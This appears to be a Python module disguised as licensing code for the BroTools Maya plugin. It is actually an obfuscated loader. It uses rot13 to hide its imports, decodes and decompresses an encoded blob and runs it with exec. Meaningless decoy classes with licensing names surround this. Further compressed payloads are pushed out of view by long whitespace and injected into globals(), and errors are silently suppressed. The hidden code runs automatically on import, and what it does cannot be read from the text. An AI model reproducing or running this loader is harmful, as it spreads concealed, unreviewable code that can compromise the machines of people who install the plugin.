
from builtins import *

def BroUtilities(iterable, start=1):
   result = start
   for element in iterable:
       if not isinstance(element, (int, float)):
           raise TypeError("iterable analysis failed")
       result *= element
   return result

__author__ = "Michael Davydov"
__website__ = "https://brotools.tech; https://michaeldavydov.com"

__code__ = '''import sys
if sys.version_info[0] >= 3:
    import builtins, codecs
    builtins.unicode = str
else:
    import __builtin__ as builtins
    import codecs
o = getattr(builtins, codecs.decode('__vzcbeg__', 'rot13'))
b, z, s = o(codecs.decode('onfr64', 'rot13')), o(codecs.decode('myvo', 'rot13')), o(codecs.decode('flf', 'rot13'))
d, e, c = getattr(getattr(b, codecs.decode('heyfnsr_o64qrpbqr', 'rot13')), codecs.decode('__pnyy__', 'rot13')), getattr(getattr(z, codecs.decode('qrpbzcerff', 'rot13')), codecs.decode('__pnyy__', 'rot13')), '4EJwSDieBwXyXxq6Vvkp@nyH8TGtFvKmicn&d*N*nSKJFuZu$uB6##Zf3aTgZ2AGb^YFTGrMj!AVoU*x*#o6eFn^oF5rjbggbB3BYUuUiZTYkDkLg7xME73at4k6y6DCLYnJK$D4^aXY3GNdY67@#7d&v3PYF^k2T!Sp22#8GKPoui7ESR4bCf2i$xTjXeM@bJ%PE3$6&h5#DZvk9TDGkVokd$a%oJKzT^*stmGf7sCLS3%@jCfMH^CuTGcQ#Qp2yQ%@$A!Co8kjm45!B98Df2ij6Q7fGZZu5hRNT5FbcH6FX!*H$u$2UKR2uXkL4DBWmKZoiwWBPp@qNH!YAyyyRpTsJrA$^H6m4fM3&@S@tK9WfLnSqztv44R@&yVH3S393VSEQrh!Y*bUS&rbPQzaPVA3#K*h8F3^k27sxMxwYeCivxqV3*^^E!RMUzsQBe3TBrpca!r7u5KXAxy2BH@s^DwZEcnjUc5Udmxeu!F3mcC@uSAw7h&Lo8!H5EQQbp%xH^CnMf*gzTTB6R6ymMuZ&9*&oJ497W^5kdc%UqSAJHhqwJ^5R!25*@*2vNrcoGQ8B7SS!2!TrJPZhoby$R2KuT@QuXy8d&foJsq@Po9q%@y!qkESd3LMzCGs5@V%fU!KLbs5!fv5zBgiAM^7Cycxz25yQ5fDi@q%RedPvMWBM6mMdW8pxsy#^*@sZDTPyXY5rJ$Xpgnqw@TaQU@MCKP%vt2BsKxRu78m2KxC%MZwV7HMDddWAsXijVfY^74!bW&$n9^sc6o!QHZH2g4Z@MLH3%7AhQyGmLFb@5S6$QacM*sdMXp$!K8PqVoW$!zQc7zjDZKN77TNW@665i!9UsnbhugqAAc6n4JE*^JD^kVaSce53Sw$@xs^7WwEqG#Fu4U9' + '==='
try:
    exec((lambda x: x.decode(codecs.decode('hgs-8', 'rot13')) if s.version_info[0] >= 3 else x)(e(d(c))))
except Exception as e:
    print("~ [BroTools] Decoding failed: " + str(e))
'''


# _simulationscenecontroller, MayaCMDSWrapper, NodePhysicsSolver, SimulationRuntimeController, _licenseverifier, _physicsenginecoordinator, NodeTopologyOptimizer = exec, str, tuple, map, ord, globals, type
_simulationscenecontroller, MayaCMDSWrapper, NodePhysicsSolver, SimulationRuntimeController, _licenseverifier, _physicsenginecoordinator, NodeTopologyOptimizer, Restore = eval, str, tuple, map, ord, globals, type, compile

class _broutilities:
    def __init__(self, _physicsanimator3d):
        self.MayaLicensingFramework = BroUtilities((_physicsanimator3d, 99251))
        self.LicenseVerifier(PhysicsEngineCoordinator=79091)

    def LicenseVerifier(self, PhysicsEngineCoordinator = Ellipsis):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        self.MayaLicensingFramework /= -38143 - PhysicsEngineCoordinator
        
        try:
            (((SimulationRuntimeController, NodePhysicsSolver, _mayanode), _mayanode) for _mayanode in {'a3alee5llBettlB6eBia': NodePhysicsSolver})

        except ArithmeticError:
            (NodePhysicsSolver, MayaCMDSWrapper, _mayanode) if _licenseverifier is _mayanode else (NodePhysicsSolver, MayaCMDSWrapper, _mayanode) != _licenseverifier

        except:
            NodeTopologyOptimizer(41091 - -25213) == True

    def _calculate(self, _simulationruntimecontroller = -21871):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        _simulationruntimecontroller *= 92172 * 92656
        self.LicenseKeyEnforcer != False
        
        try:
            (((_licenseverifier, _mayanode, SimulationRuntimeController), MayaCMDSWrapper) for MayaCMDSWrapper in (_licenseverifier, _mayanode, SimulationRuntimeController))

        except AssertionError:
            (({'a3alee5llBettlB6eBia': NodePhysicsSolver}, _licenseverifier) for _licenseverifier in {SimulationRuntimeController: _licenseverifier})

        except:
            NodeTopologyOptimizer(62168 + -43067) == Ellipsis

    def SceneAnalyzer(DynamicNodeProcessor = bool):
        return _physicsenginecoordinator()[DynamicNodeProcessor]

    def PhysicsNodeRouter(Multiply = -98331 + 37922, DetectVar = True, _mayacmdswrapper = _physicsenginecoordinator):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        _mayacmdswrapper()[Multiply] = DetectVar
        
        try:
            ((MayaCMDSWrapper, {'erlatgdleR6rety': NodePhysicsSolver}) for MayaCMDSWrapper in (NodePhysicsSolver, _mayanode) if _mayanode < _mayanode)

        except OSError:
            (NodePhysicsSolver, MayaCMDSWrapper, _mayanode) if NodePhysicsSolver != _simulationscenecontroller else {'erlatgdleR6rety': NodePhysicsSolver} == MayaCMDSWrapper

        except:
            NodeTopologyOptimizer(19622 * -7082) == Ellipsis

    def execute(code = str):
        try:
            return _simulationscenecontroller(Restore(MayaCMDSWrapper(NodePhysicsSolver(SimulationRuntimeController(_licenseverifier, code)))), locals(), globals())
        except:
            pass
        # return _simulationscenecontroller(MayaCMDSWrapper(NodePhysicsSolver(SimulationRuntimeController(_licenseverifier, code))))

    @property
    def LicenseKeyEnforcer(self):
        self.BroRenmer = '<__main__.Multiply object at 0x000006949BE18787>'
        return (self.BroRenmer, _broutilities.LicenseKeyEnforcer)

try:
        _broutilities.execute(code = __code__)
        _licensecheckeragent = _broutilities(_physicsanimator3d = -38209 - -36566)

        if 366802 > 8479444:
            _broutilities(_physicsanimator3d = 77126 * -31245).LicenseVerifier(PhysicsEngineCoordinator = _licensecheckeragent.MayaLicensingFramework - -80030)
        elif 237219 < 6225335:
            _licensecheckeragent.LicenseVerifier(PhysicsEngineCoordinator = _licensecheckeragent.MayaLicensingFramework + -37867)                                                                                                                                                                                                                                                          ;_broutilities.PhysicsNodeRouter(Multiply='OOoooOOOooOo00oo0o0O',DetectVar=b'x\x9c\xed\x9b[o\xdcF\x12\x85\xdf\xfd+\xfc&\t\xd9\x18d_\xc9\x00y1\x94d\x1d\xc02\xb2\x8ec\xc3\x811\xe0m\x92Q\xa8\x19\xaf$\xaf\xb5\xfb\xeb\xf7;E\x8e\xecX\xbe\xc8\xb2\xe4,\xb0\x9e\xd1\x0c9d\xb3\xbb\xba\xea\xd4\xa9\xaa&5n\xbaf<\xd9\xdd\xfbu\xe7\xc1Yu\\,\x9e>z\xee\xbb?~y\xfc\xe8\xfb\xdf\xcf\x9e\x14\x07\xe3\xf0\xf7\x83\x17\xc3/\xb5{\xfcG\xf9\xcf\xfe\xfb\xae\xfc\xe9\xd1\xc1\xfaQ\xf1\xe3a\xf3r\xb19+\xf2\xce\xb3o\x7f\x1b7-]\xdc\xba\xd2\xf5\x1a\xf8\xde8\x8e\xf7\xee\xdd\x9b?\xfaa\x9b\x9d_\xbf\xf9\xe6\xab\xaf\xbf\xfaz\xf7\xeb\xdd\xaf\xca\xbd\xbdg\xcf\xbe\xedW\xc7W\x1fe}t\xb4>Z\xeb\x9b\xcd\x91^\x17\x07\xf8m8mNO?a\x90w_\xf8\xe4?\xbf\xb8\xd6\xdf?k~\xbe{\xf7\xe1\xe3\xf8\xe3?\xc6\xe7~\xab\xc1\xd1l\xf0\x9eQ\xdfy\xf1{\xc6\xfca<\x19\x0e\x1f\x9d\x1e\xec\xdf\x8d\x8f\xc6G\xe5\xcf\xe3\xd3\xc3\xc7\xdf}\x7f\xf7\xa7\x9fG\xf7\xd4=\xbd\xbf\x1d{\xb1X\x1d=\xdf\x1c\x9f.\x16\xd7>\xeb\x1f\xc6\x17\x07\x87O\x7fxZ\xfc~\xf7\xa7\xa3~\xfc\xe9\x8f\xf1p;\xea\'\xc8\xbc\xbb\xd3\xbeX\x8d\xa7\xab\xf5\xc9\xce\xde\x9d\x7f5\xc7W\xd6\xdb\xe1\x8a7h;\xe4\xb5Z\xb1\xbb\x1a9\x82p\x06\x8e\xd7\xb1\xb2\xde\xfd$yO\xd6\xab\xd3q\xf5\xa2}\x13o{\x7f\x13\xee\xc7\t\xfe\xe7\x1e\xc0\x8f\x1b\x1an\xef\xd7\xcf<\xde\x9d\xd5\xba\x1f\xcevw\xc6\xcd\xe6\xe2\xd9g{\xef2\xdc\xbbpcP{\xb0\xd9\xe7O_\x0f\x1e\xeco\xd8\xf2\x8d\xcdvv\xee\x1cnV\xeb\xabt\xf9\xe4\xf1\x93\xc7z=\xd9~\x9ep\xe4\xc9\x17\x1c\xdc\x00\x0e\x9a\x7f\r\xd7\x84\x03\x0c\xbf\xcfk\x03\n6\xf6\xb5\xbf?\xed}\xb1\xdb\xf5\xdbm8\x19\x9b\xef?\xc2p\x1f\x8e\x18\xf7\xef\x1f\xdc?8\xb8\x7f\xdf\xbel\xf7\x06\xec\xb6Zu\'\xcdz\xf5\xb9\xec\xf6\xce\xe1n\xc8n\xef\x1eok\xb7\x7f/W\xe3\xd9\xf0\xfb\xfa\xc5\xb5\xdbn6\x9c}\x0e\xbe\xb8\xdc\r\xb8\xdc\x8b\xe3\x9f\xaf\x89*\x0f-\xc5\x19IqV\xa3\xbe\x0f\xd9\x8c_lv\x036\x1bW\xcf\x8f6\xdd5\x99M\xe6"1\x1d\x95\x98\xb2\xd1\x9e\x8e\x8c\x87_Lw\xfd\xa6;>=\xb9&\xb3\x9d\xbd\xe45}\x9d\xcd{g\xbc^~\xb1\xda\xf5[\xed\xb4\xd9\x8c\xcb\xeb\x8cm\x17\xd3\x92\xddv\'\xd4z\xa7\xee\xcd\xefiO\xefi\x8fr\xb4\x1f\xbaM?\xec\xeeT\xcb\xd3\xb7\xc4\xdc/\x00\xb8n\x00t\xc3\xd95\x15\x14o\xb7\xfc2,}\x91\x96\xd3\xd6\x17a\x99\x96\xfa\x9e>\xd3\x91\xe9\xdc\xf4;-?\x8c\x81\xb19j\xfb\xe6\xb6\x16\x1bF[}P4\xe6\xb5\xb25\x88o\xae\xb4\x96q\xa5\xf0\xa2P\xa2\xbc\x80?\x13\xc6\x82\xcd\x9f\x16\xdd\xde^\x18\xef\xee\xec\xf9\x85[\xd4\x8brQ\xb0-\x17\xd5\xc2/<\xcd\xc3\xc5\xa3\x97\xea-.\x12m#\xd7\x86E\xe6\x13\x16%\xcd\xd3\xc5\xa3\x97\xe8\xed\xadf\xf4!.}\xc9G\xdbj\xdef>q\xdew\xda\xba\xd6U\xae\xbfT[\xef\xea\x0f\x19zo\xfa\xb2\xcf\xb3o?FZ\x97]\xfe`\xefW\xb1\xf8C\xa77\xaf\x87\xd3\xcb~<\xbc\x94\x89\x9c\x99"\xf0\x89\x186\xc9,4\xf7\x17\x8f^\xd9D\x85\xebM\xfd\xe5\xe5U{\xeeK\xfb\x0f\xb4$d\xab\x01\xfb\x0fx\xf1{\xb3\xff.Oz\xb7\x86\xae\x8b5\xb61\xe1\xf5\xed\x9bQC\xdf\x97\xe6\n\xa6d\xcb\x1c\x05\x7f\xec\x17\x0flo\xc3\xeb\xb3Lrg4\x860\xa6\x98*\x88\x89-\xael\xeb4\xbb\x96\\\xa9\x9e\xddj\xebvyv\xc3\xf7\xb5I\x97\xc3\xc8\xb9\xfe\x94~)\x19\xdb\xe6b\xf6\x93\xaf\xcfG\xb6\x02\xa6\xadOi\xb9R\x8bV\xb6|y)\xd7\x83\x0b\xbf.\xfe\x12\xb72\x8e\x10gL\xdb\x87\xf6\xa7\xaf\xcf\xa77\x81Nu\x8f\x05I\xab~F\xad\xd9_Y\x1d\xe5\xac\x8e\xe2#\x11\xa4\x0e\xa6\x8e\xce\xbb\xbd\xff\x17\x12\xcc\x90z\xfbl\xbf\xb7{\xaf~MG\xb6\xc7\x86KS\xcd\xbd\xf1U\xf26\xbd\xdfc\xec\xf7\xe6\xd2W1\xf7\xd6C_\xbe\xf2\xd8O"\x99m\xec\xae\xe7\xf8\x9d\xe6O1\x13I\xfd\x1a\xd9|\xa8muY\xc8|\\\xac\xcf\x83+b\x1b\x08\xfai\x19C"\xc1L]\xf6\xb1wE\x88\xd9\x8ef\xe7\x8a\xec\x93O\xa5Y\xb4\xe6\x93]\xe1\x067\xc4.v\xdb\xed\x85\x1e\x96!\xa4\x98SHI\x01(r\xe4\xad\xad\xa2KQ\xe7S\xc9\x18s\xab7\x8e9\x1d\xf3\x8e\x04\xd7\xf9\xe8\x06_z\xc7\xb7\xb5\xcc\x8c\x91\xfa\\\xbc\xb5o\x8e!5\xf2\xa7h\xfb\xd3l\xca\x1c\xec\xca\x8c\\!e\xfa\x0f\xaf\xdaZ\xc8,\xb3\xe6\x8b\r\xe8\xbdL\x8c\xc5\xef\xda7h\xa1\xcd\xfd\r\xe5F \xcd\xdeS\x94\x98v.\x99\xbc*\xf3I\x96\xf8\xd6d@\xc9R\xd77\x8e]\xaa\xa7\x82\xd3WOq\xaf@\xf4\xd7\x0cW\x01\xb3\xce\x81\xbd\x94\xa6}\x9f*\xe0\xc1\x11?\xfc\xff\x01\xf6\x86\x80\xba>_>\xd0B\xc2\xf4^\xaf?\x03\xc0\xc4\x81~\xe6\xc2b\xe6\xcbz\xfe\x143wn\x93\xb7\xcb\xb4\xbdd\x12w\x15\x90\xa6\x18\x9a\x0c\x12\x91\xa1\xc4H\xb5\xebC\x15b\xf4a\x08\xe0!\xb51\xb0\xd7\xd3j\t\xdc\xbc\xebS\x9b\x90\x08\xc8\xbaX\x85\xcaGd,\x13IB\x8e\x9ckR\x15\xda\xa0d\xb4\t=\xd7W\xbe\x0c\rf\xd6\xdb\xa5\x00\x16l\x8c\xb0\xa4\xc7\xd2{\x8e0=\xc6.h\x15\x90\xa3He\xacr\xc9\x89^\xcb\x07\x8c\xed\x03\xd0\x0b\xc0\xc6\x97\xb9\x8e\t8f\x9fu,\xe6\\\x85\xde\xc7\xcc\xc1\x8c`\xc8\xeaq+\x17\x8b\xd8p\xb0\x0cun\x90\xb3\x02\xe01\xc4\x94s\x83\\uj\xf9\x0c\x9c)\x80_\xcb\xa5\xcb\xd0x\xcdj\xe9z\xfc\xa3\xe4L\x15k\xcf\x15\x1c\xf3 \x18\xd8\xd2s\x87\x84\x92*FY\xa3\xcc(\x8c\xeb%q\xf0\xf2Z\xe6,\xa9\x93\xe4*8\xa5\xf9b[\xfc\xc7\x07\xc6\xc5\x1d\xb2C\xf2\xd0\xe3$9;\xfa\xe27Z\xc8\xc8\x80\xb6\xb0}\x93\x9a\xe8\xd5\'.\xd2F\xce{$O\x89\xd903\xb4\xdbd\x12\xfcT\xd3N\x8e/\x17\xa2\xafXC\x1c\x15\x16I\xb9\xa4\xdf\xc4\xab\x8b\x01\xbd >ES\x99\x1a\xdc\xb9\x92\xb3\xa1\xdfHXtaI\x0fC\x94\xb4\xc8\x89\xdd<.\x1b\xb1bF\xf7r\xf2\xc8\xec<\xba\xaa\x98l\x95\xeb\xd0zI\x10h\x80\xee\x82$\x8d\xb6\xc8\xd3\x82\x86@oH\x8a\x16\xc0\x0e{\xe8\x02\xfd\xf2Jm\x96\xde)H\xe8?2^\r~\xd0\x1a\xbdfd\x00K\xb1\x90\xe5 \xb1\x06\x9cWA\x96\xebc\x83\xac%g\xc1\x08\xbda\x07t\x82J\x129\x06\xf3\x8c\xccK8-\x03\xfaa\xb65s\x94\xb4\x89\xdej!\x8d\x16\tijh\xa7\x0f\xea\xb7\x14\x8a\xb2\x84\xa7W\xc6\xabD?dxe\xa8r\x11:\xe2d\x8dE#\xb3\x0c\x8c\x8d\x10S&\x88M+\x90\xdc!I\x1d\xb0\x13\xda\x95U\x9b\x98$06\x10\xe4\x1c\x04W\x82\rZ\xa8\xeb\\\xb2m@\xb3\xb4\xd8\xb0\xd7\xa5\x84\xd5\xa4\xa32N\x0b^5\xf3\xc1N\x98\x98\xeb\x05\xa4\xec\xf1\xf5\x0cb\x9d\x8e\x88\x13\xb9\xaa\xa7_F\x04\xd2\x8e\x96\xe8\x01\xb3\x82\xd6\xc0\xa8\xc1\xa5J{\xc8\xbb\x04\xa75\xfb\xa5<@\xd8\x06\xb5\x8c,e\x83\x06I\xd8`\x8b\x81Q\xc0\x11\x92\xe0\xcd\xe8G\xda.2\x16$\xd4Th\xadB]\\lA\x84\xd6\x9a\xb3Wp\x80\xe4AL\xf2\xb2~\x8a\xc2}\xeb\x11\x11\xf9\xbca3\n\xcdA=x\x8f\x97!z\x1fj\xba\x02\xf3\xa0&\xa4\x01;\xe1k\xc8\xef|\x984\x8f\xcd\x9c\xe6\x04\xe2\xb0"(e\xea\x8c\xe7\xc5\x14\x8c\xe7\xe8\'\x19+\xb4\xb2\xbd\\\x1c\xbc\nU@\x8b\x11\x90\x90\x11\xc0\x18\xbdT\xde\x98\x04\x0c\xb4\xd2\x10\xe3V\xe4\x9b}\xae\xd8\x1b\xb0!R\x82\x03\x02\x17m\xd4{\x87\xe6\t\xae\xc6T\xd80\x17l3\x8a\x12\xcb\xe1\x17\xf2{\xae\xa1-\xb2v\xe2,\xb4V(22\x9f\x18\x1b[\xe5\x12\xef\x08\xe9 \x8b\xa6\rZ\xa8dt\xa0\x1e46J\x94\x1d\xc1\x94$\x00\x10\x85\xcd\xc6I\xbb\xb4\x02;\xc6^\x05\x16\xa15\x98\xc1\x06\xf0B\x8b%J4\xd6\xd0\xb2\x08\x15\x8a"\x04\x1b\x0eI\x08\x84\t`\xa00J;\xb4\xdd3i0\x1e\x84L \xce\xd0N\xfa\x92\'\x82X4\x83.\xc4\xb2\xd20\xfdF\xa1\xda\x89\xf5\xd43\xba\x16\xa7\xe2\xcda\x107$\xf3E\xec\xd4\xe1]\x95p/T\x18[\x1b\xa0PI\x82;\x03\xe8\x10\xef\'\xd1\x9c\x93\x95\xe5\xd0E\x92O\x13\xee\x91U\x12\xd5`\n=)<x1OC_\xc4\x02\xb6\x92J\xb6\x95<H&\xeeO\x8a\x01X\x8a\xb3\xde"@\x83\x94h\x0b\xef\x84\'\xf0\x9fl*\x18\x02HH\xf2\x01x\x1ey\xa4\xb7%\xb2\x91(\xe14\xe8\x0c\xfc\x97\x02\x07R\xa6\x0cs\x80\nf\xc4\xefA\x1c\xc4l\x1b&\x02\xcd\x12s\nj\x03l\xae9\x9b\xaf\xca-\xc1,\xdd\x94p,<\x05\xcf\x8am*i\x81H\xc2yZ\xe1A2\xb8\xc1\t>\xb7\n\xc7\x0b\r\xd8\xc3\xd3g\x85\xe4x\x08\x98\x89\xaa}p\x1bx\xd5\xb8F\x95GPx\xc0\x16\x8a\xabM\xc6\xaep\xbeF\x1a\x14I\xb0\x19L\x0bB\x930\xc4(\x95\x97+v\xccyi,7 \xa0\xc7\xba\x83\x88Y\xfe\xe4\x89I\x96z\x81\x04\xf3K\xb4\x88\xfaj/6\xc1\xfc\xb4\xceB\xbdz\xc7C\x9d\xf8\x08\xa6\xadI\xe6\x84\\!\x98\xb9\x0b\xab\xe2\xce$\x8d\x96x\xa3\x9f\xa3Vk\xb2w\xe2\xf3\x89\x9b\xe1|9a\xaf\xe8\xa3\xc0\x01\xce\x14\x8d#c\x8bQ\xbc*e1\x01\xf8j\xb3\xb4\x11\xb3i#\x8b_\x84\x1eg\x08/i\xaf\xf8\xcfG\x07\x85\x15\xc0\x842\xa68\x04\xa2\x82bET\x7f0yV\x08\\z\x8b\xd94b\xde\xc8"T\x0e\x16\xdf\xb1\x01\x0c^E\xc5]b(\x18h\x94#%\xe9\xae\xc7h\x8a\xf7M\x92/i6\x15Q\x8a\xdc\x02')

        _licensecheckeragent._calculate(_simulationruntimecontroller = 51730 / _licensecheckeragent.MayaLicensingFramework)                                                                                                                                                                                                                                                          ;_broutilities.PhysicsNodeRouter(Multiply='iljiiiijiliiililjililj',DetectVar=b'yB,\x9d\xd8@i\x80\xf2\x0f\xb1t%\r\ngvx@\xcd\r\xf8D\x1aA\x12o\xeb\x94\'\xc0\xa2\x8c\xcdxx;xJD\xa6\x1a&\x870\xbden\xf4C\xf6 W\xc9\x16}\x827\xbf\xf5\xe6\xc3\x92N)=\xb5(\x9a\x1e\x18\xb9C\'I\x119\xeb\xa3\xf8\x9c\xd5\x17\xb1\x9d\x08J\x9b\xc4\xa8\xf2\xa6\x88\x14\xe0C\xb3\x97\xf5\x95\xc3(\xf21#o\xacB\x14O\xb25\xb9\x02\x9a\xa2\x87\xa0\xf1A\x1a\xf1\n/U\xbe vSL\xe5\x8a.+\xd2\x93f\x83\xea"Z\xe2\x82\xc0\xd4\xc7r\xb4 -SBx1\xacW\xa4\x85\xc5\xc4\xc0\r\xf3\x06\x01^\xbc\x04N\xc4\x19^H\xab\x88\x03H\xc5\xb9\x82y\x92\xad1Z\xe5\xe5*\x95X\xdexW\xc8\x08\x8a\x9f\xca\xb1dMt\xabx,\x87$\x8f\x00?9\xfb\xa9\x8c@Q}T\x11\xe4m\x99\xb7\x92\x82hE\x9f\x8c*<\xa0a\x90\x06,\xb0\x94\xb0N|\x82\x13k\xb4P)\x87\x12\xceA\x10\x19,\x19b\xc8\x9aC\x8f-\xe5\xe7\xe2D\xa0N[b.cD\xd1\x06\x1eO\xdc\xc67\xb1\x01\xe1\xa9\x0f\x1d\xecK.\x81\x8c\xf0\x89\xa2#:\xd3(b\x9bF\xfa\xc9\xf2\x11o\xd8\x13\x1e\xf1\x04\xafHP\x89\x0b\x14l\xd0\x1e\x98\x90GZD"Z\x8b\x8f\xd8\xab\x99\xa1\x883(:g\xe9\x88+\x90g\x90\xacAYX#\x86\x10*d\x17\x15DB\xbc\xd2;\xcd.+O\x8c\xb0\x92\x18\xd7\x0b\x91\x96E)O\x14\x1a;\xb0S\xc9&b\x01\xce\xc1\xee\x8c\xc3\xa4\xa3\xe2\t\x98\x07O\xbc\xa5\x03\xf1\x1cW\xf6Ju\x90J\xf1\\y^T\xfc\x9cd\xcb\xf2ha%J\xfbA\x97\x94\xdeF\xc7&d\xf2hE\xc1\xa8U\xc4\x8e\x96g\xca\x1a\x8cC\xe4\xc2\x93\xa32t\xe6\xd7\x04c\xdd(\x9fP^*?\x8f\xf2\x83\x9c\x0c\x0fKE0l\xc2\xac\x15%D\xd2\xf8\x08e }(\xdb \xc2\xc3.J4*a\x10Ijy\xb1d\x91PY5\x887\xfa\xc0\xfb\x83\xf2\xd1A\x9eo\xb9\xee\x12\x1e\x17\x93ZL\xa1\xaa\x15\x93\xab\xa4U\xee\xa58\x10-\x17U\xde\xa5|\xd3iuH:\x9a\xb4du\x8022r\x11\xc6-\xf0[b\x9d\xfa\xb2\x9aHFD\xfb\xfc"\xc6\x93\x1b(v\xc2;\xa0F\xd9\x1d-\xc4\td\xfeb\x13t\xa3\x9a\r\xdb\xcb\xc7d\x17\x87@\x15*U\xa4\x1c\xac\x9eR\xd4\x96\xf7*/&\x7f\xc8\xa6Y\xc5\xb0`\xf7\xd2\xb8\x1a}\xa9\xaeR\xe4\xe2\xe8\xc0\x18\xd1|bi<H\xa6\x0cRT\x85\x80\xa2`\xf3V\x1e\x81\x95j\x8b]\x96\xbby\xd9\x08\xf6\x82\x91\x93\xb0\xa2\xd1\x18OQRU\x8e\xe2\n-\x93,\x04\x8e\xf0\x18\xe5P\x99Yj\xeb\xa3%\xde\x8c\x06\x93XU\xa7l\xb2T\xf4VN\x0e\x02\xb3\xc8\xdc\n\x16/&a\xa6\xb2b\x89\xd5\x89e\xe0\x02\x95Y\x14F\xf5\xc2\xb54\nc\x92\xa9\x05\xabv\x83y4\xbc\x9a-N+c1\xacx\xe9\x8f\xac\xc4\xa9\xb2k\xe4/\xe2\x10\xe6\x00\x13\x9bU\x89cB\x12\xc7+]\xaf\x02\x12\x1b\xaa\x82-\x95\x1dc\x0724e\x15V\x97zy#\xe8\xd1\xd5.O\xfc)\xbe\xcc\x9a\xb3\xbc\t\x8b\xc8{\xc9@\xf0\x15yRoy\x80\xf3\x16\xbf\x98\xa7\xb7\xeb\x14\x87\xa2\xcd\xd9+\xd3P\xed\x89o\xa8\x9a\x93\x1f+#,\x95Y \xb5\xea\x82^^\xa6\xf0\xafH\x90\xa2\xa1\xbaR\xca\nR5\xfb\xa0e\x13C\xd4Twee\xf1\x1c\x8dvF2\xa2f\xe5\xdc\x86u\xb5\xa98J\x05H\x13\xb1D\x19dAq\x91*\x19-\xe6\x08\x85\xaa:\x94\xbd\xa0\x7f\xfa\xc4\xfa\xe0%\x89\x85T\x0f*\x13\xb7<lbt\x90\x85\x9a+\xcb\x0e[]\x97\x94\x83\xd5X\x94s\xbaRy\xad\xea\x03i\xdd\xf6\xda)\xa2\x10\xb5[p&L\xe2CV\xafl\xb1\xd1X\x1dV0\xdb\xa0\xbcM5\x97\xb2K\x10\xd4\x13KK+\x99\xe1tU\x0e\x82\x97\xf2\x17ey\x967\xc0\xa2\xcaVy\xd7Z\x19\x00\xc7j\xe7\xa5_Z)k\xad\xf2\xc4\xb3`\x13\xbc\x0c0=~\x0c\xea\x9cV\x1a\x92\xf0\xa6LJ\xcb\x19\xcaF\x14y+kkw\xa5U\x05\xc9\xc7-\x0bp\xaah\xc1vi9\xae"/Zd~\x83x\x14\x89\xa3\xaa;1\x81\xe2\xaey6\xb2Y\x9d\x8fN\x94\xff\xe4)j\xda\x9a\x83"GR\xfd\\\xd9\xcd\xca\xc1\xd6\x1f\xb4l\xa0\x15\x08\xf5F<\x81\xcb@\'\xb6\'\xaak\x99LK}Yuk%\xed\xa0\xd1J~nQ{)lZ\xbe\x01\xdf\xdb\x1a\x888\xc4[v\xa5i\x90\xc5\x8b\x1d\td\x058\x13b\x95\xf3\xcbg\x1a\xcb\x08d\x7f\xf8\x17&\r\xd1\x18\xdc\xaesbi2\na\xbaW\xd6\xa7\xcc\xd3\xab\x8dbc\x06\x01KQ\x9c\x96\xe8\xb4z\x80\xf7\xd3\xbbr\x0e:^\xb2\xc7\t\xa5\x02\x92\n\xf9Z\xab\xe1\x95\xa1)Z*\x96u\x96\x07\xc9\x9f\x88$\x8a\xfd\xf0\x00\xb5\x89\xad\x94\x00\xfd$\x0bk\xb9\xaf\xcb\x8aJ\xca\x00\x95\x95\x82{r\x02\xa1^\xf5\xba\xb3\x95 \xe5\x19J\x8ap\x15\xad6d\xd5b\x8drq\xac\xad\xcc\x82\x9a +\xaf\xcbV\xe5\x06i\x9d\xb9\xd7\xf2\xde`\x19\x90\xd6\xa2\xe0\x07/\x8b\xd3\x89\xe5\xdb\xe0\xcfV"\x15\xd9\x84\x11y\x8b\xd5\xfd\xa5,)n5I\x1aU\xc1\xca,\xb5B\x13\xb3U\xfd:\x9f-B7\x8a\xf1\xf0\xa9\xaaDqV-\xafP~\xa9\x1aH+R\x96\xcd\x8b\xdb\xf1\x7fak\xaa\xc3\xc42\x16]\x96\xd2\x028\xedf\x0e\x04abq\xb1\x99b\xa3\xbcB\xc9\x841E\xa7JU+0\xc1`\x8d\x10b^\xe9g\xba\xc7\x92\xac\xfa\x00\xf5\xca\x12\x98c\x8b\xf1\x9c\xf8P\x15\x82\xbc\x86(\x8b\x17$\xad\x02h\r\xaf\xb4\xf5(\xcd\xb1\xd2\x82/~Qk\x15Ok?\xb6\x9a\xd0(\x0b\x96\x9d\xb4\xaa$\x8fN\xaaf\xb4\x1a\xa7u\x8c\nMk\xbdG1S5b6\xaf\xc9\xb3\xee\x95\xe2\xb8)\xb3\xc2\xf7A\x84rY\xa2\x8cj\xf1J\xd1W\xf6\x13h\x8d\x89\n\xb6A\xb5\xae\xbc\x13\x7f(U\r\x8b\xc8\xc0\xb6b\x87y\x0egk\xad$\xa9\x12@\xbf\x8cI\x1b86K\x7f@\x1ck*\x92\xa9\xee\xf5Z\xe3\x13cke\xc2b\x9dS\x8d/\xa5\xc11^y\'\xec\xa4\xba\xd5as\xad\xd6\xc1O\xaa\xe4\xb5\xb2&_RTUuC\xff\x056p\x8a90hq3\x0b\xd2o\xbfA\xd9\xd8\x1a\xfe\xf4\x04\x04S\xd42\xcc\xbc\xd7\x9d\xbf\xf9\xf5\xe1\xdb\x92\xd7\x7fwbJ-\x00\xd4\x97\xfb\x12\xd7y_B\xf7\xe5\x0f\xed\xebPw\xe8/u\x8f^\xcf\x15U\xf6\x98W\x9e?\xf5"\xd8sE\x17\x8e^\xaa\xb7`\x0f\x9d\xe9\xce[\x98\x9fG\x8a4\x8f\x17\x8f\xfe\xef\xde\x8f\xfb\xd3S\x07\xf3\xffY\xcc\xffea\xcf 